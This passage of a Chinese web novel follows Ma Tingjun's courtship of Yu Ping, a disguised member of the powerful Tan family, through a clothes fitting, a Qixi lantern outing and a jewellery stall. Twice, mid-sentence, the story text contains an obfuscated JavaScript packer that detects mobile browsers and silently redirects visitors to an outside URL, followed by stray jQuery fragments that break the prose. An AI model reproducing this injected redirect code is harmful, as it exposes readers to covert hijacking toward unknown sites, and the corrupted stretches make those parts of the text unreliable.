次日颜青唤家里司机开了麻霆君的车,后头再叫人开自己那辆。他同与麻霆君坐在后座,哆嗦着聊了一路。才挨到开集市的广场,忙喊道:“就在这里停车!” 他说完后踹开车门,急速滚了下去。麻霆君比不了他火急火燎,两支长腿撑在地上,才弯腰钻出去。司机为他留了驾驶座车门,他跨进去前,颜青攀着车顶,最后叮嘱道:“记得帮我带个话,就说颜青是个混蛋,已经诚心悔过啦,一定挑个良辰吉日,好好登门道歉。请他不要计较。” 麻霆君道:“保重,回去路上当心。” “你更加要当心。”颜青五指并拢,劈向空气,再愁怨地看向麻霆君,道,“霆君,你记着,色字头上一把刀,俞平美则美矣,不至于把身家性命赔进去。” 麻霆君忍着气,道:“这话也还给你,回去之后少勾三搭四。” 颜青颓唐一笑,道:“霆君,你看不出来么……我已经是个虚无的人了,也许我应当去寺院修行一阵,只有菩萨显灵,才能从四爷手下保住我。” 汽车门从里面猛然关上了。一阵油门过后,颜青的碎发随烟尘凌乱一阵,朝远处叹了口气,叫了司机:“我们走吧。” 麻霆君回到麻公馆才是上午,阿吉本在前厅帮忙打扫,一听他回来,立刻跑出来,道:“五爷,老爷昨晚问起你在哪,我们几个说你上医院了。” 麻霆君淡淡哦了声,薄外套与空瘪的皮包来不及整理,一并搭在小臂,快步往里面走,道:“我爹要是细究,和他说你们记错了,我在颜青家里,和二姐一起。” 阿吉闻言,奋起追着他的脚步,道:“五爷,你真和颜少爷摊牌了,他怎么说?” 麻霆君转头睨一眼。阿吉笑着,双手合十朝他抱歉,又道:“俞平到了好一会,正在卧室里等你。” 麻霆君道:“他怎么在我卧室?” “郁小姐不久前来电找他。”阿吉道,“郁小姐还请你空了回电给颜公馆,免得他们担心。” 卧室的窗户白天总是开着透气,窗帘卷成一束,晃在空中,钝钝地敲着玻璃。俞平傍在窗前,脸颊埋进风中,白皙的皮肤由风吹得愈发透明。 身后房门摔在墙上,俞平回过神,扭头即见麻霆君,又见他肩膀宽得吓人;心里恍惚一阵,来不及喊他,率先被他搂住了。 麻霆君抱得太用力,身上不知错穿谁的衣服,比平时小一号,他真是结实过了头,肌肉线条隐隐约约刻在面料里,却是实打实地闷在俞平身上。俞平背地里感叹过他身材不错,被他挤得慌,立刻有些懊悔;可他身材又是真的不错,俞平欣赏得不合时宜,有些无地自容。 此般亲密实在太唐突,俞平不明白他犯什么病,勉强抽出手,在他背上无力地拍了拍,催促道:“好了,好松手了。” 麻霆君倒反更不放过他。他朝麻霆君耳垂咬了口:“阿吉在门口偷看呢!” 麻霆君赌气道:“偷看就偷看。” 好不容易等麻霆君尽兴,俞平反锁了房门,独自面壁一会。他昨天回去后有一股强烈的预感,总觉得自己与麻霆君到了头; 夜里再度审视自己,他清楚是清楚,麻霆君早在心里了,难得细细搜寻一番,却想不通麻霆君究竟在何处,更不用提忘记这码事。失眠一夜。 早上起来,俞平最初准备告病,下楼时与兰香因算术成绩拌一阵嘴,底气竟被她带上来了:那时他真是为了吓唬阿吉才喜欢的麻霆君,没什么见不得人的,最终还是来了。 是没什么见不得人的——俞平回过头,预备安之若素。麻霆君垂着头,道:“郁蕙心和我说了一些话……有关于你。” 郁蕙心岂止和他说过。她打电话来正是为了串供,俞平熬夜熬得耳鸣不止,更不用说听她编排一堆稀奇古怪的身世,什么情人,什么斗争,使得俞平只恨自己谎话撒不圆满,早知道咬死自己做水手,遇海难,比她的天方夜谭强一百倍。 麻霆君一副自己做错事的模样,庞大体格也委屈地拘束着,道:“俞平,你受苦了。” 俞平一时竟不知道说些什么。 要说麻霆君什么心思,为什么心疼他,无非是求他的接纳。他偏偏是最无能为力的,他只是下任家主争夺之中,所点缀其中的一枚翡翠扳指。爱情同样是虚无的,他身上承受着姐姐的希冀,无法再束一个隐形的枷锁。 只好先周旋着,道:“这么说,你都知道了?” 麻霆君闷闷应着。 俞平见不得他不乐意,还是喜欢他在布店挑衅自己的时候,便开玩笑道:“我和四爷曾经是一伙的,不巧五爷和他结过梁子。五爷会不会迁怒于我?” 麻霆君眼睛亮了一瞬,忙道:“不会!” 又道:“你喜欢他吗?” 亏麻霆君被蒙在鼓里,这还用问——哪有人不喜欢自己?俞平知道麻霆君听了要不高兴,还是说:“喜欢。” 说完后俞平管自己在心里鸣不平:原本颜青追求他,他能够应付,麻霆君向他摇尾巴,他心情好也去逗一逗,都怪郁蕙心,把一切都快马加鞭地赶——算了!既然身在鹭镇,一切都是俞平做的,与他谈凭玉何干? 俞平咬咬牙,又道:“再喜欢谈四,也是过去了,我是要好好生活的,早讲给你听过,忘了吗?” 麻霆君木木道:“我记得。你答应我的。” 俞平笑道:“唉呀,怪我太晦气,脏完四爷的手,来脏五爷的手了。” 麻霆君忙道:“不是的!俞平,你一点也不晦气!人总是要向前看的,过去过去便是过去了。” 俞平上下扫他一眼,笑道:“慌什么?我从没怀疑过你,你倒是把什么想法都吐出来了。” 麻霆君必然担心自己多说多错,俞平瞧见他咬着下唇,倒也清楚他是受冤屈的,较真孰是孰非,约莫是自己胡乱引导再先。方才太刻薄了些,自己圆满不起来,便过去抱住他; 心里则大为不满,堂堂四爷,腰杆直了将近二十载,居然屈给麻霆君了。嘴上却温和道:“五爷是心疼我的,我怎么会感受不出来?” 这话说得真是抬不起头,索性把头埋在麻霆君身上。亏是在鹭镇,什么鬼话都讲的出来;以后回了枢城,叫他多说一个字,他宁可撇了四爷不做。胖子说过旁观者清,郁蕙心说过他变了。他们都是对的,出岔的只有俞平一个人。 麻霆君真吃这套,打起精神,道:“你真是见识过豪门的,这声五爷我实在担当不起。我是把你当作朋友看待的,和颜青一样,你也直接叫我名字吧。” 俞平道:“五爷就是霆君,霆君就是五爷。我也是把你当朋友的,称呼而已,什么都一样。” 朋友有什么好?麻霆君真落实了名头,心里反而不乐意,低落道:“你总是玩笑一句,真心一句,我都分不清你是什么心意。” 俞平迅速摆一个假笑,道:“英文书讲到第几篇了?你要是忘记,我再也不教你了。” * 下了课,俞平吃饭要避着麻霆君他们,也不肯和其他佣人一起,只端着饭碗再找后厨边上的僻静处,没人知道他什么时候来,什么时候走。麻霆君应付完饭桌上一圈长辈,早寻不见他的人影,再是怅然若失,盯着夕阳,看一切都冷清。 阿吉猝不及防从灌木中站起来,一副贼眉鼠眼,道:“五爷,我看得出来,你又要犯嘴巴苦、肩膀酸,心里痛的老毛病啦!” 麻霆君被他吓得不轻,不去管他是不是幸灾乐祸,皱眉道:“早上你也在,现在又不知道从哪里蹦出来,怎么哪里都有你?” 阿吉掸去头上绿叶,道:“五爷,你和俞平简直是天仙配,我最喜欢看你们在一起!早上是我情不自禁,忘记不能够打搅啦。” 麻霆君耳根软,听不住好话,刚要开心,想来阿吉说得是甜蜜,俞平却若即若离。 他主动抱过麻霆君后,麻霆君原本以为大功告成,没想到他竟板着脸上一天课,狠起心时还拿戒尺吓唬人,实在捉摸不透。麻霆君升了一半的嘴角立刻凝固着,再明朗不起来。悲伤地道:“真有你说的这样就好了。” 阿吉踮脚望他一眼,道:“我看出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725960|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五爷有心事。心事憋着多伤身子,不妨去老地方开会,叫大家一道为五爷排忧解难。” “你们懂什么?” “众人拾柴火焰高,我们三个赛过诸葛亮。” 麻霆君奇怪道:“你可能有些胆量,胖子瘦子算什么,要我指望你们?” 阿吉道:“五爷,现在流行一句话,叫做‘秀才不出门,能知天下事’,他们两个便是和五爷您一起读书读大的,倒推几十年,一定能中状元。五爷想知道什么都可以。” 又道:“俞平早被兰香收编为小弟,他们是一路的;我在外头同为兰香的小弟,也一定对俞平起作用。” 麻霆君思忖片刻——集会在柴房。 三个人站成一排,背挺直得过了头,肩膀向后打着,眼珠暴突。麻霆君手执一把戒尺,横劈空气,触目惊心,正事不提,先开口威胁道:“我麻霆君待你们不薄吧?” “五爷厚道。” “五爷仁心。” “五爷慈悲。” 麻霆君又道:“我不管你们以前多么藏不住事,唯独这次,千万要保密,否则我饶不了你们。” “五爷,我们都是懂规矩的。五爷有面子,我们一起沾光,五爷要是丢脸……”胖子话锋一转,嘿嘿笑道,“我们五爷最出类拔萃了,绝不可能丢脸。五爷的秘密,便是我们的性命。” 阿吉道:“我们是五爷肚里的蛔虫,五爷不想我们活,我们就会死。” 麻霆君自己内心煎熬许久,早瞒不住了,纵是死马也当活医,道:“俞平的上一家,是谈凭玉。” 阿吉道:“想不到俞平前东家居然在谈家,谈家是家大业大,他总不可能是眼高手低,嫌我们公馆给他的薪水少吧?” “什么薪水?”瘦子道,“五爷说话,你怎么听不懂?俞平是他的前姘头。” 胖子更接地气:“俞平是被谈凭玉休掉的姨太太。” 这话多少粗俗,好说歹说也歪打正着。麻霆君黑一张脸,姑且没去纠正。 阿吉感叹道:“哇,谈四爷!俞平本领这么大,居然能够俘获四爷的芳心。” 麻霆君双手叉腰,不悦道:“哪里来的四爷?这里只有我一个五爷。” “是,五爷。”阿吉应付他后,自顾自道,“难怪俞平能把我们五爷当狗训呢,原来他从前是训谈凭玉的。” 麻霆君提高音量道:“李喆!” 胖子紧急一咳嗽: “五爷威武。” “五爷英明。” “五爷强悍。” “谈四是枢城最有权势的,俞平喜欢他,不难理解。谈四喜欢俞平再正常不过了。” 麻霆君心中苦楚终于泄了洪,道,“可我怎么办?我怎么去追求俞平?” 追求俞平?瘦子焦急道:“五爷,你怎么能追求俞平?我看俞平一定是狐狸精,专门吸食男子精气,上一个谈凭玉已经被他害惨了,现在又惹到我们五爷身上来了。我们五爷多阳刚,难怪他挑的中!” 他撩起袖子,要往门外赶,道:“我速速去和老爷汇报一声,明天一早便请个法师,把他收了。” 麻霆君惶急道:“俞平哪是狐狸精?他是个好人!” 阿吉身手敏捷些,上前把瘦子拦下。胖子劝道:“你有什么好计较的,我看俞平很可爱呢!既然五爷喜欢,其中一定有五爷的道理。” 阿吉也道:“大哥,我们是一起为五爷分担烦恼的,你怎么好再给五爷添乱?你太有眼无珠,五爷觉得好的,必然差不了。” 瘦子丧气道:“差不了,差不了!” 胖子拍拍手,鼓舞士气,打头道:“既然我们五爷一定要爱俞平,真是……我们五爷胸襟开阔!” 瘦子百感交集:“我们五爷海纳百川。” 阿吉博古通今:“我们五爷堪称民国曹操。” 胖子双手合十,总结道:“五爷从前叫我们读史书,和谈凭玉斗,正是田忌赛马,切莫拿麻家的金银拼谈家,我知道您有一处优点,他投十辈子胎都赶不上。” 41.禁果 老主顾上布店找何氏谈天是常事,天冷起来,绒线一卷一卷团在脚下,手上的活计与话语一道源源不断;天热了便是一把蒲扇。扇子摇起来,话匣子再合不上了。 “这俞平手脚真不麻利,上次他送外套去隔壁凤儿家,失手打翻了一个酒盅。说是帮忙清扫,结果连簸箕都不会拿。” 老主顾尖酸道,“你们老詹最会做生意了,怎么雇了个毛头小子当伙计?最近在店里都看不到他,是不是偷偷跑出去和小姑娘幽会?” 何氏道:“你小点声,他和兰香一起在楼上呢。” 又道:“兰香大了,她的功课我们辅导不来,俞平懂一些,让他帮忙了。” 老主顾道:“他这么散漫?” 何氏原先眯着眼睛穿针,听见这话,也不钻针孔了,道:“俞平以前在枢城的大户人家做长工,懂英文,被麻家雇去当教书先生,讲好在那边教几天,回来干几天。” “麻家待字闺中的姑娘一抓一大把,他们老爷敢放俞平教谁?” “教五少爷,有什么怕的?” 老主顾笑道:“嗳,何姐,我先给你泼盆冷水。我女儿在枢城教书,说是现在的学生里头,很流行同性恋。” 何氏重新拾针线,道:“五少爷和俞平都是男孩子,年纪也差不多,当然能玩到一块去,哪有这么荒唐。” “五少爷从不招惹姑娘家的,俞平又长得这么媚。这两个人还都是受枢城影响过的,现在天天厮混在一起。你可要把俞平看紧了,指不定他们哪天情投意合,哪有人还会来布店?” 布店小院门口缀上了新买的玻璃风铃,吊坠叮当碰着,便是有人来了。 阿吉在门口探头探脑,道:“有人吗!” 何氏应道:“嗳,阿喆,进来喝碗凉茶。” 阿吉道:“不耽误时间,我是来找俞平的!” 老主顾一拍大腿,笑道:“这叫什么,说曹操曹操到。” ——胖子在柴房侃侃而谈好一阵,敲定麻霆君追求俞平的方向:俞平是见过世面的,若是按照传统的路数,麻霆君无论如何比不过谈四;必然要叫俞平尝到他们五爷独特的好,而非做谈四第二。五爷要想博得俞平欢心,精髓之一便是勾引。 俞平与兰香在二楼。布店房间小,廊上靠窗搬张桌子便是书房。阿吉急匆匆地出现,俞平扭头一见是他,便道:“不准和我们大小姐说话。” 阿吉道:“哎呀,俞平,我是来找你的。” “找我?什么时候不好找,非挑我休息的日子。” “今年天气好像格外热一些,五爷先前订的衣料太厚,要重新做过。” 这种热闹兰香最不愿意放过,字帖都愿意亲自操劳了,往杂物间里拿一卷软尺,撺掇俞平赶快下楼; 来到麻公馆,阿吉轻车熟路撑开后门,又带俞平钻到柴房门口,做贼心虚道:“五爷买衣服都是定制,要量尺寸的。就在这里。” 俞平不满道:“麻公馆这么大,他偏要挑个最暗的地方,我怎么看得清?” 阿吉道:“你年纪还比我大呢,太不懂事。我们五爷的身体比财宝都珍贵,哪是你能够看的。” 俞平起半身鸡皮疙瘩,心里悬着,却不由自主跟在他身后走。不想柴房居然有窗明几净的一天,俞平眼睁睁麻霆君站在发亮的地板上,姿势十分规矩。 麻霆君朝他笑一笑,再低下头,道:“今天是你休息的日子,我却把你叫过来,实在对不住。” 装什么可怜?俞平还没发话,边上两个阴间使者先开始勾魂了。 胖子瞪眼睛:“我们五爷实在顺天恤民。” 瘦子撇嘴巴:“我们五爷多么大慈大悲。” 麻霆君抢着阿吉说话的机会,向俞平走来,道:“你在布店做工,照理会量尺寸,麻烦你了。” 俞平道:“我记得你有一房间的衣服,穿得过来吗?” 这种事情根本无需麻霆君出马,光是胖子瘦子便足以应付,两个人一口一个邀了功: “我们五爷,日理万机,还要来照顾布店生意。” “你个俞平,不知好歹,真是身在福中不知福。” 俞平沉默着。阿吉从他口袋里摸出卷尺,甩了甩,道:“赶快,我们也回避一下。” 俞平道:“我在布店是干杂活的,他们不教我招待客人。” 阿吉嫌他太缺乏默契,又道:“总会写字吧?等下我来量,你去边上好好记着。” 胖子看不过去,扯来阿吉,低声道:“说好让俞平尝一尝甜头,怎么叫你鸠占鹊巢了?” 阿吉兴奋道:“大哥,俞平吃惯了谈四那般猪头,如何品出我们五爷的好?我来教教他。” 他这鬼点子石破天惊,呛得胖子一个字说不出来,悻悻拉着瘦子蹲守在一旁;俞平便是目睹这场窃窃私语,更是汗颜无地。阿吉不忘大声嘱咐他道:“我就示范一次,你看得仔细点!” 俞平无力挣扎,草草应了声了事。 胖子和瘦子,一个像贪官,一个像奸臣,一左一右站在麻霆君身边,把麻霆君如此周正一人,硬是衬得不伦不类。兴许阿吉近朱者赤,带点正人君子的意味,但是他说出来的话语,与他的一身正气截然相反: “你可别小瞧我们五爷!” 阿吉推销起滞销二十一年的麻霆君——他首当其冲是拍响了麻霆君的肩膀。 后边的胖子瘦子看不下去了,连声道:“轻点,轻点。别弄疼五爷!” “五爷不是弱不禁风的玻璃人偶。” 阿吉摇头啧啧称羡,道,“虎背。” 软尺下卷,阿吉又是一副不得了的表情:“蜂腰。” 他蹲在麻霆君脚边,向上一指:“螳螂腿。” 阿吉总算退了出来,意犹未尽,抢话道:“俞平哥,瞧瞧,我们五爷这样的身体,光是闻一下味道,美得都要醉啦。” 另两个察言观色的,胖子担忧言多必失,瘦子则不忍直视,驾着阿吉离开。阿吉反过头,最后叮嘱道:“俞平,听我一句劝,看人不能全看内在,有时候外表更加重要!” ……俞平相信郁蕙心那时一定夸大其词,把谈凭玉描述得十分可怖。颜青定不会来骚扰他了。这是他的本意,若是麻霆君也规矩些,他回头还不算晚。可麻霆君既然知晓他是谈公馆出来的,不但不退缩,还发动着如此直白的挑逗,真叫他有些骑虎难下。 自小到大,想求他的众多,不是奔着四爷的名号来,便是着踩他一脚以此拔高。他没有过真心实意的追求者,只知道驱赶,不知道化解。既然有人肯为他花心思,都是好的。这人是麻霆君,便要多包容一些,算了,算了! 柴房门关上,里头重回黑黢黢一片,只有吊下的电灯泡微微发光。麻霆君等他回音,小心道:“你记了吗?” 俞平道:“记什么?” 麻霆君道:“阿吉量出的尺寸。” 俞平笑道:“哦,虎背蜂腰螳螂 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麻霆君十足被他的阴阳怪气大卸八块,一句话说不出来,俞平便往后退了步,道:“哎哟,五爷的身体这么美,不知道以后便宜了谁。” 麻霆君好不容易憋出一句:“衣服……” 俞平放过他的同时更想放过自己,轻松出门,回头道:“改天来布店吧。” 他走得是自在,麻霆君面子可算丢大了,一个人静了会,才知道一时头脑发胀引得什么后果,好久才出了柴房。心里暗暗发誓,这辈子绝不可能再入如此伤心地一步。 凑巧麻六小姐麻秋棠,在后院采野花,一见他从那里出来,先扳着他的身子,好好去柴房勘察一番,再跃到他身旁,道:“我早看见你那几个歪瓜裂枣出来了,后来还有俞平。怎么你也在?” 麻霆君板着脸,总不想和妹妹一五一十坦白,半晌还是折中,承认了一半,道:“你哥哥要开始追求俞平了。” “才开始?我早知道了。” 麻秋棠嘲笑道,“你一定是失败了,现在一定是在想,‘咦,俞平怎么没有扑上来?’” 麻霆君道:“都怪胖子,出的什么馊主意!” 麻秋棠道:“你去追求俞平,为什么要问他们什么意见?” 麻霆君豁然开朗。 * 枢城。谈公馆。 “姐姐?” 无人应答。 “谈皎。” 谈皎这才抬起眼。谈文翡并在她身边,长发上顺着一股的香气,飘摇在她身上,平静道:“凭玉呢?” 谈皎移开目光,漫不经心道:“我也要问你,凭玉呢。” 谈文翡不想与她对持,开门见山道:“凭玉的行程从来都是保密的,他这次从香岛回来,我记得是你为他订的船票。” “凭玉是我胞弟。文翡,我只有他一个亲弟弟。” “你没有害他。你是在赌他的命。” “既然你都查清楚了,怎么还来问我?” 沉默一阵。 “父亲的人全成了你的狗,总归是你本意吧?” “别这么说,我喜欢狗。” 地毯上砸了一封信,其后谈文翡阔步离去。半响后谈皎屈膝拾起,挤着信封中间拆来看,只见“谈凭玉”,硕大的签名。 42.七夕 “要上课了,洗什么车?” “再等我一会,马上洗好了。” 麻霆君洗起车不知是讲究还是不讲究,打扮得光鲜亮丽,半跪在地上擦车标,也不嫌脏了衣服。俞平饶有兴趣地打量一阵后,上前道:“鹭镇动物园新建起来了。” 麻霆君道:“什么?” 俞平道:“他们要聘请你去做孔雀。” 麻霆君就知道他出言不逊,笑一阵。毛巾湿淋淋地拧在水桶边缘,滴了一汪水。来了个佣人赶来端走水桶,再把干净毛巾交到麻霆君手里。麻霆君左右擦干净手,道:“今天是女儿节。我家里姐姐妹妹多,要去给她们求花灯。” 求花灯?俞平诧异道:“英文课呢?” “有什么好上的?我一看就是个汉人,那些洋人势必不会对我抱有希望,也不会为难我的英文。” 麻霆君开了车门,道,“就在枢城江南郊外,西医馆那里。二十大洋,你和我一起去。” 俞平是江北谈公馆出来的,受各色姨娘、婆子,耳濡目染,不会认为江南一并划在枢城,江南的远郊更不像话,只当是世外桃源。如此他真要去,也不怕遇见熟人,动了心思,却嫌弃道:“这么点?” 麻霆君凶得假惺惺,威胁道:“小心我扣你二十大洋。” 俞平懒懒地道:“你全扣光好了,我在枢城储蓄不少,不缺你给的。” 麻霆君悻悻道:“真是——人有钱就会变坏。” “我什么时候好过?” “刚才就挺好的。” 俞平闷声往肚子里笑,再绕去他身后,一脚跨进副驾驶位,抬头道:“说是女儿的节日,怎么是我们两个男的去?” “只有我会开车……” “行了,快走。” 俞平一路佯装不乐意,麻霆君与他讲笑话都不理睬,管自己往窗外看风景,许久竟打起瞌睡。待麻霆君再把他晃醒,早到了江南。节日庆祝在广场公园,今朝特地不设门票,还没踏入便见得好生热闹,数不清的游客与小摊小贩。 俞平踌躇片刻,往车上捞了顶软帽,帽檐低低地压着,跟在麻霆君身后。 麻霆君还等他一起走,起初以为他步子迈得小,走几步便顿一步,谁知俞平跟着不动。末了回头看见他脸上花样,道:“女儿节,又不是不让男儿进,你费什么心思?” “你不怕谈四的人认出我?” 麻霆君从未想到这层,愣道:“那我们还去吗?” 俞平故意道:“唉呀,这还用问?肯定是五爷的姐姐妹妹要紧。” 麻霆君慌忙道:“不去了,不去了!求花灯是小事,万一你被他们拐了走,真是得不偿失。” 俞平笑道:“去,就去!谈家的人哪会来这种地方?上回去吃法餐都没被认出来,我不过是以防万一。” 麻霆君看到他笑,才明白自己又踏进他的陷阱里,却止不住庆幸:俞平是不会被抢走的。可是五爷好歹五爷了,总不能立马摇着尾巴凑上去祝贺一番,便拉着嘴角,道:“我听明白了,你是在数落我带你来的地方太差。” 俞平道:“地方差又怎样,我也不是什么好人。” 来广场公园的人必然是为了买花灯,照顾到两旁摊贩的生意,花灯必然设在最里面的小河边。麻霆君与俞平一前一后走着,忽然返过身子,压低声音朝俞平耳边说:“你看那位长发的,像不像谈二爷?” 俞平顿时慌了神,倒抽一口冷气,拿麻霆君作掩护,四处张望。许久才道:“哪里有谈文翡?” 麻霆君笑道:“逗你两句!你自己说的,谈家的人哪会来这种地方?” 俞平往他身上打,委屈道:“你吓我!” 麻霆君本是给他下绊,难得见俞平痴一回,顿时觉得他可爱了,可惜是帽檐压得太低,麻霆君看不见他表情,便更要欺负他,干脆把他手腕捉来,道:“跟牢你五爷,免得随便来个头发长的,立刻勾走你的魂。” 俞平木木地与他一起走一段路,才发觉出他的得寸进尺;抬眼看见麻霆君硬朗线条勾勒出的不悦之色,却是飘飘欲仙的模样。 至此俞平总算清楚,原来是被摆了一道。却也不戳穿他,故意活动手腕,转出他的手掌,改与他手牵手走着。 摩肩擦踵的尽是些挽着胳膊的情侣,彼此间顾着恋人都来不及,没有空余兼顾他们的。二人心照不宣地走着,往前去空旷不少,照样挤在一起。 花灯的摊子在凉亭里,里三层外三层围着人,写完后交予工作人员,晚上一同点了,放进水里。为图催效率,写祝福语的桌前少有放椅子的,都是扑着写字,写完即走。麻霆君买过花灯,硬是给俞平找来一张凳子,自己站在边上。 “给我妹妹写一盏。”麻霆君念念有词,“麻秋棠,麻娉,麻婷……” 俞平忍不住问道:“你这样写字累不累?” 麻霆君埋头道:“还好,本身也写不了太久。” 他的妹妹无休止得多,边上情侣至多买两盏,他每个花样来了一盏。有盏空白的来不及写,俞平抢过来,道:“来都来了,我们没有?” 麻霆君迫不得就写他们两个的名字,却是做戏要做全,搪塞道:“我们两个男的,有什么好写?” “哪有什么女儿节,这是七夕节啊,五爷。”俞平托着脸,道,“我是个职业情人,这当是我的节日。” 麻霆君再伏案时,只觉得耳根火辣辣地烫着,更精细地攥着笔,要把年纪最小的妹妹和麻秋棠的名字挤在一起。直到他们,竟提笔忘字起来。五个字艰难地落在灯上,俞平瞄一眼,纠正道:“俞玉凭。” 麻霆君比俞平更明白为什么是俞玉凭,不好反驳,一时犯孩子气,道:“我就签俞平。” 俞平道:“神仙在天上开始祝福了,只寻得见你,找不出一个叫俞平的。可怜我白跑一趟。” 麻霆君才肯把他的名字很难看地涂掉,改了俞玉凭。 “麻霆君。” 麻霆君得意道,“俞玉凭。” 他看向俞平:“我们的名字还挺般配的。” “说这么大声,不怕被别人听见。”俞平却被他激了兴趣,道,“麻霆君,谈凭玉。这两个名字听着会不会更加般配?” 麻霆君立刻丢下笔:“多吓人。” “我认真问你的。” “谈凭玉和你俞玉凭最般配。” “和麻霆君也不相上下。” 麻霆君自己和自己生气,嘴巴微微撅着,交了花灯,等俞平一道出去。七夕节是个节日,赚钱的机遇不少,活动也不少,凡是要掏阔先生太太腰包的商贩,绝不会选在江南远郊。早不需要躲避什么人了,俞平还是牵着麻霆君的手走。麻霆君气鼓鼓好一阵子,倒是他的手心更值得倾心,终于消停下来。 往前是个珠宝铺子,各色廉价石头在射灯下一碰,充名贵珠宝。 俞平张望一眼,道:“五爷,你肯借我点钱吗?” 麻霆君笑道:“怎么叫‘借’?跟我出去还自掏腰包,说出去叫人笑话我了。” 俞平目光都转给他,撩开盖过耳朵的碎发,黄金耳堵闪闪发光。他眉毛不受控地一抬,俞平才解释道:“好久前郁蕙心给我的,我要买个新的替换下来,把这个还给她。” 麻霆君顺口道:“你和郁蕙心关系这么好?” “唉呀,有缘由的。”俞平也怕旁人听见,咬着他的耳朵,“我先前喜欢别人,托 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765174|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她帮我找。” 麻霆君再是吃尽,竭力抑着声音,道:“你敢背着谈四偷男人啊!” “有什么不敢的?反正她帮我找到的时候,我差不多都要到鹭镇了。” “还真像是你做的出来的事情,可你也太不像话了。” “五爷太传统,当然理解不了我。” “哪有!我麻霆君不是封建的老古董。” 俞平笑道:“不是封建老古董,自己还是童男子。” 麻霆君便往他额头上弹了一指,嗔怒道:“我发现你就是看不起我。” 俞平被打了心里反而高兴,装作不悦,嘟囔道:“谁敢看不起五爷。” 两个男人在摊前站得太久,终于被人招呼了去。摊主独具慧眼,瞧见一个实在英俊,风流倜傥,另一个打扮艰苦的必然是他的随从。挑中了麻霆君,搭话道:“这位爷爷,是预备买给心上人的吗?” 俞平自然道:“有没有纯银的耳堵,款式素一点。” 摊主不肯放过宰客的机会,干脆把耳饰的抽屉全拿给他们看。黑绒布上横竖架扁的木头,一格格盛着,耳坠居多,照样是廉价石头。 摊主伺机道:“款式素的也有,都太寻常了,这些更加活泼,讨人喜欢。” 麻霆君研究半晌,真指了两副出来,一副蓝一副白,摊主递来的动作十分喜庆,不想麻霆君一接手便往俞平耳垂上比,暂时难以接受,便讪讪立在一旁。 麻霆君的眼光并非多好,凡是沾上俞平的,再丑也变得赏心悦目起来。两幅比来比去,都想为他买——忽然想起胖子他们夜谈,戏称俞平是“小白狐狸”,情不自禁微笑着,道:“还是白的好看。” 俞平道:“最简单的就行了。” “为什么?白的多好看。” “头发遮不住!” 摊主赶忙道:“爷爷,您真是好眼光,小人的镇店之宝都被您发现啦!” 眼见着麻霆君又要绽放起来,俞平不忍直视,丢了一副素银耳堵进托盘,预备结账的时候截胡了。那边摊主吃准麻霆君,源源不断地煽风点火: “爷爷,我看人不会错,您一定是位响当当的大人物,看您丰神俊朗,好似天神下凡,想必您一定是——” 他画蛇添足地环顾一阵,手掩在嘴边,“谈家顶有权势的爷爷。” 俞平震撼得眼珠要跌到地上,道:“怎么看出来他是的?” 摊主道:“咦,真被我说中了?” “假的。”麻霆君早心花怒放,边掏皮夹边道,“我都要了,多少钱?” “把那个小的付掉就好了。” 俞平接连遭受打击,动作迟缓不少,没把他的钱夺下来。麻霆君道:“怎么?” 俞平道:“白的是贝母,不值钱的,你要被他骗了!” 麻霆君得意道:“骗就骗,我是心甘情愿的。” 俞平便心灰意冷地候在一旁,插嘴多讨了个锦囊,收郁蕙心的黄金耳堵,预备Wilson下次来时叫他带回去。 继续逛起摊子,麻霆君的心思全在小白狐狸上,小心打开包装,看了又看,继而往俞平耳垂上放。俞平无力道:“真被骗了,好的东西不会拿来这里卖的。” 麻霆君道:“我知道,买的是个开心。” 俞平浑浑噩噩道:“有什么好开心的。” “心疼钱?” “心疼你,被骗了还不知道,以后有的好懊悔。” “真要懊悔,想想现在总是高兴的,也就罢了。” “哪怕从头到尾都被骗了,也不计较?” “唉,我看你就是心疼钱。” 俞平不与他争辩,心里想着:还能再瞒他一阵。 43.苦香 少爷出去没有亲自备零钱的,否则有失风度。一般是随从付款,或是家里有人负责签账单。 麻霆君是个例外,或是他家里实则不太阔绰,因为处在鹭镇,矮子里拔了高。俞平和他出门的日子,占不少他的便宜,恍惚时还以为在过去。 摊贩里有不少餐车,其中有一家玻璃车里堆面包,俞平闻着香,叫麻霆君买了。沿路上还有卖点心的,逛完一圈,手里抱得满满当当,找到些节日里纯粹的乐趣,一同坐在河边的草坪上吃。 俞平在鹭镇几个月里没喝过咖啡,看见有卖的,顶着麻霆君的费解要了一杯,才喝第一口便皱眉头:在这里卖的咖啡,只是为了能在招牌上多写一行咖啡出来;余光不止瞄着麻霆君。 麻霆君吃草莓冰淇淋实在欢,俞平想不出代劳的借口,不禁多瞄几眼,直到麻霆君也在看他,才心虚道:“你的冰淇淋要化了。” 麻霆君吃的速度赶在冰淇淋融化的前面,自然不信他的鬼话,看见杯中咖啡一口未动,顿时明了,道:“你也想吃?” 俞平逞强道:“总不能让你吃亏了,我们交换吧。” 怎么有叫俞平吃剩下的道理?麻霆君不乐意,道:“你把咖啡给我,我再给你买冰淇淋。” 俞平坐着不动,麻霆君抢来他手里杯子,再把冰淇淋放得离他更远。掀开杯盖,看着咖啡中印出自己的眉眼,不由得发怵;颜青为了装腔作势,什么都懂一些,包括咖啡,讲起来头头是道。而他绝对是喝不惯咖啡的,捏着鼻子灌一口,顷刻皱一张脸,道:“这么苦!” 